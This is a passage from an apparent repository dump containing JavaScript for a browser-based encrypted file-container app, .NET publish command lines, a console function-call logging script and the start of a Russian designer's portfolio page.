Rename ---- */\n  document.getElementById('rename-close').addEventListener('click',  () => Overlay.hide());\n  document.getElementById('rename-cancel').addEventListener('click', () => Overlay.hide());\n  document.getElementById('rename-input').addEventListener('keydown', e => {\n    if (e.key === 'Enter') document.getElementById('rename-ok').click();\n  });\n\n  /* ---- Delete confirm ---- */\n  document.getElementById('delete-close').addEventListener('click',  () => Overlay.hide());\n  document.getElementById('delete-cancel').addEventListener('click', () => Overlay.hide());\n\n  /* ---- New Text File ---- */\n  document.getElementById('nf-close').addEventListener('click',  () => Overlay.hide());\n  document.getElementById('nf-cancel').addEventListener('click', () => Overlay.hide());\n  document.getElementById('nf-ok').addEventListener('click',     createTextFile);\n  document.getElementById('nf-name').addEventListener('keydown', e => { if (e.key === 'Enter') createTextFile(); });\n\n  /* ---- New Folder ---- */\n  document.getElementById('nd-close').addEventListener('click',  () => Overlay.hide());\n  document.getElementById('nd-cancel').addEventListener('click', () => Overlay.hide());\n  document.getElementById('nd-ok').addEventListener('click',     createFolder);\n  document.getElementById('nd-name').addEventListener('keydown', e => { if (e.key === 'Enter') createFolder(); });\n\n  /* ---- Delete Container ---- */\n  document.getElementById('dc-close').addEventListener('click',  () => {\n    const t = document.getElementById('dc-ok')._countdownTimer;\n    if (t) { clearInterval(t); document.getElementById('dc-ok')._countdownTimer = null; }\n    Overlay.hide();\n  });\n  document.getElementById('dc-cancel').addEventListener('click', () => {\n    const t = document.getElementById('dc-ok')._countdownTimer;\n    if (t) { clearInterval(t); document.getElementById('dc-ok')._countdownTimer = null; }\n    Overlay.hide();\n  });\n  document.getElementById('dc-ok').addEventListener('click', deleteContainerConfirmed);\n\n  /* ---- Change Password ---- */\n  document.getElementById('cp-close').addEventListener('click',  () => Overlay.hide());\n  document.getElementById('cp-cancel').addEventListener('click', () => Overlay.hide());\n  document.getElementById('cp-ok').addEventListener('click', doChangePassword);\n  document.getElementById('cp-new2').addEventListener('keydown', e => { if (e.key === 'Enter') doChangePassword(); });\n\n  /* ---- Rename Container ---- */\n  document.getElementById('rc-close').addEventListener('click',  () => Overlay.hide());\n  document.getElementById('rc-cancel').addEventListener('click', () => Overlay.hide());\n  document.getElementById('rc-ok').addEventListener('click', doRenameContainer);\n  document.getElementById('rc-name').addEventListener('keydown', e => { if (e.key === 'Enter') doRenameContainer(); });\n\n  /* ---- Export Confirm ---- */\n  document.getElementById('ec-close').addEventListener('click',  () => Overlay.hide());\n  document.getElementById('ec-cancel').addEventListener('click', () => Overlay.hide());\n\n  /* ---- Overlay background click ---- */\n  let _overlayMousedownOnBg = false;\n  const _overlayEl = document.getElementById('modal-overlay');\n  _overlayEl.addEventListener('mousedown', e => {\n    _overlayMousedownOnBg = (e.target === _overlayEl);\n  });\n  _overlayEl.addEventListener('click', e => {\n    if (!_overlayMousedownOnBg || e.target !== _overlayEl) return;\n    _overlayMousedownOnBg = false;\n    const active = Overlay.current;\n    if      (active === 'modal-editor') closeEditor();\n    else if (active === 'modal-viewer') closeViewer();\n    else {\n      // Clear delete-container countdown if running\n      const t = document.getElementById('dc-ok')._countdownTimer;\n      if (t) { clearInterval(t); document.getElementById('dc-ok')._countdownTimer = null; }\n      Overlay.hide();\n    }\n  });\n\n  /* ---- Block Ctrl+S system save globally (editor handles its own Ctrl+S) ---- */\n  document.addEventListener('keydown', e => {\n    if (e.ctrlKey && e.code === 'KeyS' && Overlay.current !== 'modal-editor') {\n      e.preventDefault();\n    }\n  }, true);\n\n  /* ---- Mobile burger menu ---- */\n  (function initBurger() {\n    const burger = document.getElementById('topbar-burger');\n    const dd     = document.getElementById('topbar-dropdown');\n    if (!burger || !dd) return;\n\n    const _close = () => dd.classList.remove('open');\n    const _toggle = () => dd.classList.toggle('open');\n\n    burger.addEventListener('click', e => { e.stopPropagation(); _toggle(); });\n\n    // Proxy clicks in dropdown to real toolbar buttons\n    document.getElementById('topbar-dd-settings')  ?.addEventListener('click', () => { _close(); document.getElementById('btn-settings').click(); });\n    document.getElementById('topbar-dd-upload')    ?.addEventListener('click', () => { _close(); document.getElementById('btn-upload-toolbar').click(); });\n    document.getElementById('topbar-dd-newfile')   ?.addEventListener('click', () => { _close(); document.getElementById('btn-new-file-toolbar').click(); });\n    document.getElementById('topbar-dd-newfolder') ?.addEventListener('click', () => { _close(); document.getElementById('btn-new-folder-toolbar').click(); });\n\n    // Close dropdown on tap outside\n    document.addEventListener('touchstart', e => {\n      if (!e.target.closest('#topbar-dropdown') && !e.target.closest('#topbar-burger')) _close();\n    }, { passive: true });\n    document.addEventListener('mousedown', e => {\n      if (!e.target.closest('#topbar-dropdown') && !e.target.closest('#topbar-burger')) _close();\n    });\n    // Close on Escape\n    document.addEventListener('keydown', e => { if (e.key === 'Escape') _close(); });\n  })();\n\n  /* ---- Dismiss context menu ---- */\n  document.addEventListener('mousedown', e => { if (!e.target.closest('.ctx-menu')) hideCtxMenu(); });\n  document.addEventListener('touchstart', e => { if (!e.target.closest('.ctx-menu')) hideCtxMenu(); }, { passive: true });\n  document.addEventListener('keydown',   e => { if (e.key === 'Escape') hideCtxMenu(); });\n\n  /* ---- Block native browser context menu globally ---- */\n  document.addEventListener('contextmenu', e => { e.preventDefault(); });\n\n  /* ---- Desktop area events ---- */\n  Desktop.initEvents();\n}\n\n/* ============================================================\n   BOOT\n   ============================================================ */\nwindow.addEventListener('DOMContentLoaded', async () => {\n  initEvents();\n  await App.init();\n});\n"
  },
  {
    "path": "safenova/js/state.js",
    "content": "'use strict';\n\n/* ============================================================\n   APP STATE\n   ============================================================ */\nconst App = {\n  view:      'home',\n  container: null,   // container metadata object\n  key:       null,   // CryptoKey (in-memory only, never persisted)\n  folder:    'root',\n  selection: new Set(),\n  clipboard: null,   // { op: 'copy'|'cut', ids: [...] }\n  thumbCache: {},    // nodeId → dataURL\n  _winCtx:   null,   // active FolderWindow context (set by FolderWindow ops)\n  _ctxScreenPos: null, // screen {x,y} of last context-menu click (used to position new files/folders)\n\n  async init() {\n    if (!window.crypto?.subtle) {\n      document.body.innerHTML = `\n        <div style=\"display:flex;align-items:center;justify-content:center;height:100vh;\n             color:#f44747;font-size:18px;text-align:center;padding:20px\">\n          Web Crypto API not available.<br>\n          Use a modern browser (Chrome, Edge, Firefox) over HTTPS or file://.\n        </div>`;\n      return;\n    }\n    await DB.init();\n    this.showView('home');\n    await Home.render();\n    await updateStorageInfo();\n  },\n\n  showView(name) {\n    document.querySelectorAll('.view').forEach(v => v.classList.remove('active'));\n    document.getElementById('view-' + name).classList.add('active');\n    this.view = name;\n  },\n\n  // Return to home WITHOUT killing the session (password stays remembered)\n  async backToMenu() {\n    this.key        = null;\n    this.container  = null;\n    this.folder     = 'root';\n    this.selection  = new Set();\n    this.clipboard  = null;\n    this.thumbCache = {};\n    this._winCtx    = null;\n    if (typeof WinManager !== 'undefined') WinManager.closeAll();\n    if (typeof _resetContainerSettings === 'function') _resetContainerSettings();\n    if (typeof Desktop !== 'undefined') {\n      Desktop._desktopFolder = 'root';\n      Desktop._sel = this.selection;\n    }\n    VFS.init();\n    this.showView('home');\n    await Home.render();\n    await updateStorageInfo();\n  },\n\n  async lockContainer() {\n    const cid = this.container?.id;\n    // Kill stored session so password is not remembered after locking\n    if (cid) {\n      sessionStorage.removeItem('twc-s-' + cid);\n      localStorage.removeItem('twc-s-' + cid);\n    }\n    this.key        = null;\n    this.container  = null;\n    this.folder     = 'root';\n    this.selection  = new Set();\n    this.clipboard  = null;\n    this.thumbCache = {};\n    this._winCtx    = null;\n    // Close all open folder windows\n    if (typeof WinManager !== 'undefined') WinManager.closeAll();\n    if (typeof _resetContainerSettings === 'function') _resetContainerSettings();\n    // Keep remembered sessions intact — \"Back to menu\" should not kill stored passwords\n    // Reset desktop folder tracking\n    if (typeof Desktop !== 'undefined') {\n      Desktop._desktopFolder = 'root';\n      Desktop._sel = this.selection;\n    }\n    VFS.init();\n    this.showView('home');\n    await Home.render();\n    await updateStorageInfo();\n  }\n};\n\n/* ============================================================\n   LOADING OVERLAY\n   ============================================================ */\nfunction showLoading(msg = 'Processing...') {\n  document.getElementById('loading-msg').textContent = msg;\n  document.getElementById('loading-overlay').classList.add('show');\n}\nfunction hideLoading() {\n  document.getElementById('loading-overlay').classList.remove('show');\n}\n\n/* ============================================================\n   TOAST NOTIFICATIONS\n   ============================================================ */\nfunction toast(msg, type = 'info') {\n  const t = document.createElement('div');\n  t.className = 'toast ' + type;\n  const iconMap = {\n    success: Icons.info,\n    error:   Icons.warning,\n    warn:    Icons.warning,\n    info:    Icons.info,\n  };\n  t.innerHTML = `<span style=\"color:var(--text-dim)\">${iconMap[type] || ''}</span><span>${escHtml(msg)}</span>`;\n  document.getElementById('toast-container').appendChild(t);\n  setTimeout(() => t.remove(), 3200);\n}\n\n/* ============================================================\n   MODAL OVERLAY HELPER\n   ============================================================ */\nconst Overlay = {\n  current: null,\n  _hideTimer: null,\n\n  show(modalId) {\n    // Cancel any pending hide so the modal doesn't get wiped by a deferred setTimeout\n    if (this._hideTimer) { clearTimeout(this._hideTimer); this._hideTimer = null; }\n    const ov = document.getElementById('modal-overlay');\n    ov.querySelectorAll('.modal').forEach(m => m.style.display = 'none');\n    const m = document.getElementById(modalId);\n    if (m) m.style.display = 'flex';\n    ov.classList.add('show');\n    this.current = modalId;\n  },\n\n  hide() {\n    document.getElementById('modal-overlay').classList.remove('show');\n    this._hideTimer = setTimeout(() => {\n      this._hideTimer = null;\n      document.getElementById('modal-overlay')\n        .querySelectorAll('.modal').forEach(m => m.style.display = 'none');\n    }, 200);\n    this.current = null;\n    // If cancelled from a FolderWindow context — restore main desktop state\n    if (App._winCtx !== null) {\n      App._winCtx = null;\n      if (typeof Desktop !== 'undefined') {\n        App.folder    = Desktop._desktopFolder;\n        App.selection = Desktop._sel;\n      }\n    }\n  }\n};\n\n/* ============================================================\n   STORAGE INFO  —  20 GB device limit + low-space warnings\n   ============================================================ */\nlet _storageWarnShown = false;\n\nasync function updateStorageInfo() {\n  try {\n    if (!navigator.storage?.estimate) return;\n    const est = await navigator.storage.estimate();\n    const used      = est.usage  || 0;\n    const quota     = est.quota  || 0;\n    const available = quota - used;\n\n    // Cap the visual scale at DEVICE_LIMIT (20 GB)\n    const displayMax = Math.min(quota > 0 ? quota : DEVICE_LIMIT, DEVICE_LIMIT);\n    const pct        = displayMax > 0 ? Math.min((used / displayMax) * 100, 100) : 0;\n\n    const fill = document.getElementById('storage-bar-fill');\n    const txt  = document.getElementById('storage-text');\n    if (fill) {\n      fill.style.width  = pct + '%';\n      fill.className    = 'storage-bar-fill' + (pct > 90 ? ' danger' : pct > 70 ? ' warn' : '');\n    }\n    if (txt) txt.textContent = `${fmtSize(used)} / ${fmtSize(displayMax)}  ·  ${fmtSize(available)} free`;\n\n    // Storage warning banner\n    const banner = document.getElementById('storage-warning-banner');\n    if (banner) {\n      if (available < 200 * 1024 * 1024) {        // < 200 MB\n        banner.querySelector('span').textContent =\n          `Critical: only ${fmtSize(available)} of storage remaining on this device. Data may not be saved.`;\n        banner.classList.add('show');\n      } else if (available < 1 * 1024 * 1024 * 1024) { // < 1 GB\n        banner.querySelector('span').textContent =\n          `Low storage: ${fmtSize(available)} remaining on this device.`;\n        banner.classList.add('show');\n      } else {\n        banner.classList.remove('show');\n      }\n    }\n\n    // One-time toast for low storage\n    if (!_storageWarnShown && available < 500 * 1024 * 1024) {\n      _storageWarnShown = true;\n      if (available < 100 * 1024 * 1024) {\n        toast(`Critical: only ${fmtSize(available)} free on this device!`, 'error');\n      } else {\n        toast(`Low storage: ${fmtSize(available)} remaining.`, 'warn');\n      }\n    }\n\n    // TrueWebCrypt containers usage\n    const containers = await DB.getContainers();\n    const twcUsed    = containers.reduce((s, c) => s + (c.totalSize || 0), 0);\n    const twcPct     = displayMax > 0 ? Math.min((twcUsed / displayMax) * 100, 100) : 0;\n    const twcFill    = document.getElementById('twc-bar-fill');\n    const twcTxt     = document.getElementById('twc-text');\n    if (twcFill) twcFill.style.width = twcPct + '%';\n    if (twcTxt)  twcTxt.textContent  = `${fmtSize(twcUsed)} in ${containers.length} container${containers.length !== 1 ? 's' : ''}`;\n  } catch (e) { /* silently ignore — storage API may be restricted */ }\n}\n\n/* ============================================================\n   CHECK DEVICE STORAGE BEFORE WRITE\n   Returns { ok: bool, available: number }\n   ============================================================ */\nasync function checkStorageSpace(needed) {\n  try {\n    if (!navigator.storage?.estimate) return { ok: true, available: Infinity };\n    const est = await navigator.storage.estimate();\n    const available = (est.quota || 0) - (est.usage || 0);\n    // Keep 50 MB safety margin\n    if (available - needed < 50 * 1024 * 1024) {\n      return { ok: false, available };\n    }\n    return { ok: true, available };\n  } catch { return { ok: true, available: Infinity }; }\n}\n"
  },
  {
    "path": "safenova/js/vfs.js",
    "content": "'use strict';\n\n/* ============================================================\n   VFS  —  Virtual File System (in-memory, serialized encrypted)\n   ============================================================ */\nconst VFS = (() => {\n  let _nodes = {};  // id → Node\n  let _pos   = {};  // parentId → { nodeId: {x, y} }\n\n  function init() {\n    _nodes = { root: { id:'root', type:'folder', name:'/', parentId:null, ctime:Date.now(), mtime:Date.now() } };\n    _pos   = { root: {} };\n  }\n\n  function fromObj(obj) {\n    _nodes = obj.nodes || {};\n    _pos   = obj.pos   || {};\n    if (!_nodes.root) _nodes.root = { id:'root', type:'folder', name:'/', parentId:null, ctime:Date.now(), mtime:Date.now() };\n    if (!_pos.root)   _pos.root   = {};\n    // Integrity repair: reattach orphaned nodes whose parentId points to non-existent node\n    Object.values(_nodes).forEach(n => {\n      if (n.id !== 'root' && n.parentId && !_nodes[n.parentId]) {\n        console.warn('VFS: orphaned node', n.id, '— reattaching to root');\n        n.parentId = 'root';\n      }\n    });\n  }\n\n  function toObj() { return { nodes: _nodes, pos: _pos }; }\n\n  function children(pid) { return Object.values(_nodes).filter(n => n.parentId === pid); }\n\n  function getPos(pid, nid)       { return (_pos[pid] || {})[nid] || null; }\n  function setPos(pid, nid, x, y) { if (!_pos[pid]) _pos[pid] = {}; _pos[pid][nid] = { x, y }; }\n  function delPos(pid, nid)       { if (_pos[pid]) delete _pos[pid][nid]; }\n\n  function add(nd) {\n    _nodes[nd.id] = nd;\n    if (!_pos[nd.id] && nd.type === 'folder') _pos[nd.id] = {};\n  }\n\n  function remove(id) {\n    const n = _nodes[id]; if (!n) return;\n    if (n.type === 'folder') {\n      children(id).forEach(c => remove(c.id));\n      delete _pos[id];\n    }\n    delPos(n.parentId, id);\n    delete _nodes[id];\n  }\n\n  function rename(id, newName) {\n    if (_nodes[id]) { _nodes[id].name = newName; _nodes[id].mtime = Date.now(); }\n  }\n\n  function move(id, newParentId) {\n    const n = _nodes[id]; if (!n || !_nodes[newParentId]) return 'not_found';\n    // prevent move into self or descendant\n    let c = newParentId;\n    while (c) { if (c === id) return 'cycle'; c = (_nodes[c] || {}).parentId; }\n    // prevent duplicate name in destination\n    if (children(newParentId).some(s => s.id !== id && s.name.toLowerCase() === n.name.toLowerCase())) return 'duplicate';\n    delPos(n.parentId, id);\n    n.parentId = newParentId;\n    n.mtime    = Date.now();\n    return 'ok';\n  }\n\n  function totalSize() {\n    return Object.values(_nodes)\n      .filter(n => n.type === 'file')\n      .reduce((s, n) => s + (n.size || 0), 0);\n  }\n\n  function breadcrumb(folderId) {\n    const path = [], visited = new Set(); let cur = folderId;\n    while (cur && !visited.has(cur)) {\n      visited.add(cur);\n      path.unshift(_nodes[cur]);\n      cur = (_nodes[cur] || {}).parentId;\n    }\n    return path;\n  }\n\n  function fullPath(nodeId) {\n    const parts = [], visited = new Set();\n    let cur = nodeId;\n    while (cur) {\n      if (visited.has(cur)) break; // cycle guard\n      visited.add(cur);\n      const n = _nodes[cur];\n      if (!n) break;\n      if (n.id === 'root') break;\n      parts.unshift(n.name);\n      cur = n.parentId;\n    }\n    return '/~/' + (App.container ? App.container.name : '') + (parts.length ? '/' + parts.join('/') : '');\n  }\n\n  function autoPos(pid, idx, area) {\n    const W    = (area && area.clientWidth) || 800;\n    const cols = Math.max(1, Math.floor((W - 16) / GRID_X));\n    // Build set of occupied grid cells\n    const occupied = new Set();\n    Object.values(_pos[pid] || {}).forEach(p => {\n      const cx = Math.round((p.x - 8) / GRID_X);\n      const cy = Math.round((p.y - 8) / GRID_Y);\n      occupied.add(`${cx}_${cy}`);\n    });\n    // Row-by-row scan for first free cell\n    for (let row = 0; row < 10000; row++) {\n      for (let col = 0; col < cols; col++) {\n        if (!occupied.has(`${col}_${row}`)) return { x: 8 + col * GRID_X, y: 8 + row * GRID_Y };\n      }\n    }\n    const col = idx % cols, row = Math.floor(idx / cols);\n    return { x: 8 + col * GRID_X, y: 8 + row * GRID_Y };\n  }\n\n  function node(id) { return _nodes[id]; }\n\n  function hasChildNamed(pid, name) {\n    const lower = name.toLowerCase();\n    return children(pid).some(n => n.name.toLowerCase() === lower);\n  }\n\n  function wouldCycle(id, newParentId) {\n    let c = newParentId;\n    while (c) { if (c === id) return true; c = (_nodes[c] || {}).parentId; }\n    return false;\n  }\n\n  function remapPositions(oldGX, oldGY, newGX, newGY) {\n    if (oldGX === newGX && oldGY === newGY) return;\n    for (const pid of Object.keys(_pos)) {\n      const map = _pos[pid];\n      for (const nid of Object.keys(map)) {\n        const p = map[nid];\n        const cx = Math.round((p.x - 8) / oldGX);\n        const cy = Math.round((p.y - 8) / oldGY);\n        map[nid] = { x: 8 + cx * newGX, y: 8 + cy * newGY };\n      }\n    }\n  }\n\n  return { init, fromObj, toObj, children, node, add, remove, rename, move, wouldCycle,\n           getPos, setPos, delPos, totalSize, breadcrumb, fullPath, autoPos, hasChildNamed,\n           remapPositions };\n})();\n"
  },
  {
    "path": "scripts/net8/win-debug.txt",
    "content": "dotnet publish /p:InvariantGlobalization=true /p:TargetFramework=net8.0 /p:ImplicitUsings=enable /p:PublishAot=true /p:OutputType=Exe /p:Nullable=enable /p:EnableUnsafeBinaryFormatterSerialization=false /p:TrimmerUnreferencedCodeAnalyzerEnabled=true /p:HttpActivityPropagationSupport=false /p:EnableUnsafeUTF7Encoding=false /p:ProduceReferenceAssembly=false /p:MetadataUpdaterSupport=false /p:UseSystemResourceKeys=true /p:UseNativeHttpHandler=true /p:TrimmerRemoveSymbols=false /p:EventSourceSupport=false /p:EnableTrimAnalyzer=true /p:StackTraceSupport=true /p:TrimmerSingleWarn=false /p:DebuggerSupport=true /p:DebugSymbols=true /p:DebugType=full /p:TrimMode=copyused /p:Optimize=true -o build_x64_dbg\n"
  },
  {
    "path": "scripts/net8/win-release.txt",
    "content": "dotnet publish /p:InvariantGlobalization=true /p:TargetFramework=net8.0 /p:ImplicitUsings=enable /p:PublishAot=true /p:OutputType=Exe /p:Nullable=enable /p:EnableUnsafeBinaryFormatterSerialization=false /p:TrimmerUnreferencedCodeAnalyzerEnabled=true /p:HttpActivityPropagationSupport=false /p:EnableUnsafeUTF7Encoding=false /p:ProduceReferenceAssembly=false /p:MetadataUpdaterSupport=false /p:UseSystemResourceKeys=true /p:UseNativeHttpHandler=true /p:TrimmerRemoveSymbols=true /p:EventSourceSupport=false /p:EnableTrimAnalyzer=true /p:StackTraceSupport=false /p:TrimmerSingleWarn=false /p:DebuggerSupport=false /p:DebugSymbols=false /p:DebugType=none /p:TrimMode=link /p:Optimize=true -o build_x64"
  },
  {
    "path": "scripts/net9/win-debug.txt",
    "content": "dotnet publish /p:InvariantGlobalization=true /p:TargetFramework=net9.0 /p:ImplicitUsings=enable /p:PublishAot=true /p:OutputType=Exe /p:Nullable=enable /p:EnableUnsafeBinaryFormatterSerialization=false /p:TrimmerUnreferencedCodeAnalyzerEnabled=true /p:HttpActivityPropagationSupport=false /p:EnableUnsafeUTF7Encoding=false /p:ProduceReferenceAssembly=false /p:MetadataUpdaterSupport=false /p:UseSystemResourceKeys=true /p:UseNativeHttpHandler=true /p:TrimmerRemoveSymbols=false /p:EventSourceSupport=false /p:EnableTrimAnalyzer=true /p:StackTraceSupport=true /p:TrimmerSingleWarn=false /p:DebuggerSupport=true /p:DebugSymbols=true /p:DebugType=full /p:TrimMode=copyused /p:Optimize=true -o build_x64_dbg\n"
  },
  {
    "path": "scripts/net9/win-release.txt",
    "content": "dotnet publish /p:InvariantGlobalization=true /p:TargetFramework=net9.0 /p:ImplicitUsings=enable /p:PublishAot=true /p:OutputType=Exe /p:Nullable=enable /p:EnableUnsafeBinaryFormatterSerialization=false /p:TrimmerUnreferencedCodeAnalyzerEnabled=true /p:HttpActivityPropagationSupport=false /p:EnableUnsafeUTF7Encoding=false /p:ProduceReferenceAssembly=false /p:MetadataUpdaterSupport=false /p:UseSystemResourceKeys=true /p:UseNativeHttpHandler=true /p:TrimmerRemoveSymbols=true /p:EventSourceSupport=false /p:EnableTrimAnalyzer=true /p:StackTraceSupport=false /p:TrimmerSingleWarn=false /p:DebuggerSupport=false /p:DebugSymbols=false /p:DebugType=none /p:TrimMode=link /p:Optimize=true -o build_x64"
  },
  {
    "path": "scripts/www/js-daemon.js",
    "content": "// Coded by DosX\n// We're not like this — life is like this.\n\nconsole.clear();\nconsole.log(`%c\n                                                                             \n      ██ ███████       ██████   █████  ███████ ███    ███  ██████  ███    ██ \n      ██ ██            ██   ██ ██   ██ ██      ████  ████ ██    ██ ████   ██ \n      ██ ███████ █████ ██   ██ ███████ █████   ██ ████ ██ ██    ██ ██ ██  ██ \n ██   ██      ██       ██   ██ ██   ██ ██      ██  ██  ██ ██    ██ ██  ██ ██ \n  █████  ███████       ██████  ██   ██ ███████ ██      ██  ██████  ██   ████ \n          %cCoded by DosX%c — %chttps://github.com/DosX-dev/js-daemon              `,\n    'color: white; background: black; font-size: 12px; font-weight: bold;', 'color: white; background: black; font-size: 12px;', 'color: white; background: black; font-size: 12px;', 'color: white; background: black; font-size: 12px;');\n\nconst nativeFunctionCache = {};\n\nfunction watchAllFunctions(obj, exclude = []) {\n    for (let key in obj) {\n        if (typeof obj[key] === 'function' && !exclude.includes(key)) {\n            const originalFunction = obj[key];\n\n            if (obj[key] === watchAllFunctions) {\n                continue;\n            }\n\n            obj[key] = function() {\n                const args = Array.from(arguments).map(arg => {\n                    if (typeof arg === 'string') {\n                        return `\"${arg}\"`;\n                    } else if (typeof arg === 'object') {\n                        try {\n                            return JSON.stringify(arg);\n                        } catch (e) {\n                            return '[Circular]';\n                        }\n                    } else {\n                        return arg;\n                    }\n                });\n\n                if (!(key in nativeFunctionCache)) {\n                    nativeFunctionCache[key] = !!originalFunction && (typeof originalFunction).toLowerCase() === 'function' &&\n                        (originalFunction === Function.prototype ||\n                            /^\\s*function\\s*(\\b[a-z$_][a-z0-9$_]*\\b)*\\s*\\((|([a-z$_][a-z0-9$_]*)(\\s*,[a-z$_][a-z0-9$_]*)*)\\)\\s*{\\s*\\[native code\\]\\s*}\\s*$/i.test(String(originalFunction)));\n                }\n\n                const isNativeFunction = nativeFunctionCache[key];\n\n                console.log(\n                    `%c${isNativeFunction ? '[N]' : '[C]'}%c %c[CALL CAPTURED]%c : ${key}(` + args.join(', ') + \");\",\n                    `color: white; background: ${isNativeFunction ? 'red' : 'gray'};`,\n                    'color: default;',\n                    'color: white; background: darkorange;',\n                    'color: default;'\n                );\n\n                if (originalFunction) {\n                    return Function.prototype.apply.call(originalFunction, this, arguments);\n                }\n            };\n        }\n    }\n}\n\nfunction __test() {}\n\n// Exclude console.log to avoid infinite recursion and other critical methods\nconst excludeConsoleMethods = ['log', 'warn', 'error', 'info', 'debug'];\n\nwatchAllFunctions(window);\nwatchAllFunctions(document);\nwatchAllFunctions(console, excludeConsoleMethods);\nwatchAllFunctions(navigator);\nwatchAllFunctions(history);\nwatchAllFunctions(localStorage);\nwatchAllFunctions(sessionStorage);\nwatchAllFunctions(String.prototype);"
  },
  {
    "path": "server-0/antropove.ru/browserconfig.xml",
    "content": "<?xml version=\"1.0\" encoding=\"utf-8\"?>\n<browserconfig>\n    <msapplication>\n        <tile>\n            <square70x70logo src=\"/media/icon-70.png\"/>\n            <square150x150logo src=\"/media/icon-150.png\"/>\n            <square310x310logo src=\"/media/icon-310.png\"/>\n            <wide310x150logo src=\"/media/icon-310x150.png\"/>\n            <TileColor>#0A0E1A</TileColor>\n        </tile>\n        <notification>\n            <polling-uri src=\"\"/>\n            <frequency>30</frequency>\n            <cycle>1</cycle>\n        </notification>\n    </msapplication>\n</browserconfig>\n"
  },
  {
    "path": "server-0/antropove.ru/index.html",
    "content": "<!DOCTYPE html>\n<html lang=\"ru\">\n\n<!-- Developed with ❤️ by DosX :: https://dosx.su -->\n\n<head>\n    <!-- Базовые мета-теги -->\n    <meta charset=\"UTF-8\">\n    <meta name=\"viewport\" content=\"width=device-width, initial-scale=1.0\">\n    <meta http-equiv=\"X-UA-Compatible\" content=\"IE=edge\">\n\n    <!-- SEO мета-теги -->\n    <title>ANTROPOVE - Графический дизайнер | Web-дизайн, Логотипы, Баннеры</title>\n    <meta name=\"description\" content=\"ANTROPOVE — профессиональный графический дизайнер с опытом более 3 лет. Создаю уникальный web-дизайн, логотипы, баннеры и оформление социальных сетей. Качественно, быстро, доступно!\">\n    <meta name=\"keywords\" content=\"графический дизайнер, web-дизайн, логотип, баннер, оформление соц сетей, дизайн VK, дизайн Telegram, фирменный стиль, креативы, antropove\">\n    <meta name=\"author\" content=\"ANTROPOVE\">\n    <meta name=\"robots\" content=\"index, follow, max-image-preview:large, max-snippet:-1, max-video-preview:-1\">\n    <meta name=\"googlebot\" content=\"index, follow\">\n    <meta name=\"yandex\" content=\"index, follow\">\n\n    <!-- Каноничный URL -->\n    <link rel=\"canonical\" href=\"https://antropove.ru/\">\n\n    <!-- Open Graph (Facebook, VK, Discord) -->\n    <meta property=\"og:type\" content=\"website\">\n    <meta property=\"og:locale\" content=\"ru_RU\">\n    <meta property=\"og:site_name\" content=\"ANTROPOVE\">\n    <meta property=\"og:title\" content=\"ANTROPOVE - Графический дизайнер | Web-дизайн, Логотипы, Баннеры\">\n    <meta property=\"og:description\" content=\"Профессиональный графический дизайнер с опытом более 3 лет. Создаю уникальный web-дизайн, логотипы, баннеры и оформление социальных сетей.\">\n    <meta property=\"og:url\" content=\"https://antropove.ru/\">\n    <meta property=\"og:image\" content=\"https://antropove.ru/media/og-image.jpg\">\n    <meta property=\"og:image:width\" content=\"1200\">\n    <meta property=\"og:image:height\" content=\"630\">\n    <meta property=\"og:image:alt\" content=\"ANTROPOVE - Графический дизайнер\">\n\n    <!-- Twitter Cards -->\n    <meta name=\"twitter:card\" content=\"summary_large_image\">\n    <meta name=\"twitter:title\" content=\"ANTROPOVE - Графический дизайнер\">\n    <meta name=\"twitter:description\" content=\"Web-дизайн, логотипы, баннеры и оформление социальных сетей. Качественно и в срок!\">\n    <meta name=\"twitter:image\" content=\"https://antropove.ru/media/og-image.jpg\">\n\n    <!-- Telegram -->\n    <meta name=\"telegram:channel\" content=\"@antropove\">\n\n    <!-- Яндекс Вебмастер -->\n    <meta name=\"yandex-verification\" content=\"ваш_код_верификации\">\n\n    <!-- Google Search Console -->\n    <meta name=\"google-site-verification\" content=\"ваш_код_верификации\">\n\n    <!-- Schema.org JSON-LD (структурированные данные) -->\n    <script type=\"application/ld+json\">\n    {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"ProfessionalService\",\n        \"name\": \"ANTROPOVE\",\n        \"alternateName\": \"Antropove Design\",\n        \"description\": \"Профессиональный графический дизайнер. Web-дизайн, логотипы, баннеры, оформление социальных сетей.\",\n        \"url\": \"https://antropove.ru\",\n        \"logo\": \"https://antropove.ru/media/logo.png\",\n        \"image\": \"https://antropove.ru/media/og-image.jpg\",\n        \"priceRange\": \"₽₽\",\n        \"address\": {\n            \"@type\": \"PostalAddress\",\n            \"addressCountry\": \"RU\"\n        },\n        \"sameAs\": [\n            \"https://t.me/your_username\",\n            \"https://vk.com/your_username\",\n            \"https://kwork.ru/user/your_username\"\n        ],\n        \"hasOfferCatalog\": {\n            \"@type\": \"OfferCatalog\",\n            \"name\": \"Услуги дизайна\",\n            \"itemListElement\": [\n                {\n                    \"@type\": \"Offer\",\n                    \"itemOffered\": {\n                        \"@type\": \"Service\",\n                        \"name\": \"Web-дизайн\",\n                        \"description\": \"Разработка дизайна сайтов и лендингов\"\n                    }\n                },\n                {\n                    \"@type\": \"Offer\",\n                    \"itemOffered\": {\n                        \"@type\": \"Service\",\n                        \"name\": \"Логотипы\",\n                        \"description\": \"Создание уникальных логотипов и фирменного стиля\"\n                    }\n                },\n                {\n                    \"@type\": \"Offer\",\n                    \"itemOffered\": {\n                        \"@type\": \"Service\",\n                        \"name\": \"Баннеры\",\n                        \"description\": \"Дизайн рекламных баннеров\"\n                    }\n                },\n                {\n                    \"@type\": \"Offer\",\n                    \"itemOffered\": {\n                        \"@type\": \"Service\",\n                        \"name\": \"Оформление соц. сетей\",\n                        \"description\": \"Комплексное оформление VK, Telegram и других платформ\"\n                    }\n                }\n            ]\n        }\n    }\n    </script>\n\n    <!-- Schema.org: Person (дизайнер) -->\n    <script type=\"application/ld+json\">\n    {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Person\",\n        \"name\": \"ANTROPOVE\",\n        \"jobTitle\": \"Графический дизайнер\",\n        \"url\": \"https://antropove.ru\",\n        \"sameAs\": [\n            \"https://t.me/your_username\",\n            \"https://vk.com/your_username\"\n        ],\n        \"knowsAbout\": [\"Графический дизайн\", \"Web-дизайн\", \"Логотипы\", \"Брендинг\", \"UI/UX\"]\n    }\n    </script>\n\n    <!-- Schema.org: BreadcrumbList -->\n    <script type=\"application/ld+json\">\n    {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"BreadcrumbList\",\n        \"itemListElement\": [\n            {\n                \"@type\": \"ListItem\",\n                \"position\": 1,\n                \"name\": \"Главная\",\n                \"item\": 